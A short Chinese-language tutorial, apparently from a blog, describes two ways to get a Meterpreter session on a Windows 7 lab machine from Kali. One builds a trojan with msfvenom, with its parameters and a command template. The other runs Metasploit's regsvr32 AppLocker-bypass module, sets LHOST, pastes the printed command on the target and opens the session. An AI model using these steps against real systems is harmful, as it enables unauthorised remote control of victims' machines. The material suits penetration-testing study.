|
攻击机：kaili ip：192.168.80.157 目标机：win7 IP：192.168.80.158 这里用两种方法去创建meterpreter会话： 1）利用kali中的msfvenom生成木马，在目标机上运行，具体步骤如下： 常用参数： -p 选择攻击的payload
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
一般格式： msfvenom -p 指定攻击的payload LHOST=监听IP LPORT=监听端口 -f 输出的文件格式 -o 生成木马的文件名
生成木马
设置监听
待目标机运行刚刚生成的木马时，就会产生一个meterpreter会话
2）使用web_delivery模块（你也可以选择其他模块，过程都是相似的） 查看该模块可以使用的payload 这里我们使用exploit/windows/misc/regsvr32_applocker_bypass_server 然后设置IP：set lhost 192.168.80.157 最后运行：run，我们可以看到最下面出现一行命令，根据提示，复制这条命令到目标机上运行即可： 在win7中运行该命令 然后在kali中我们就可以看到已经成功监听，并且返回一个session： 输入命令：sessions 1 既可以创建meterpreter会话，控制目标机
| 
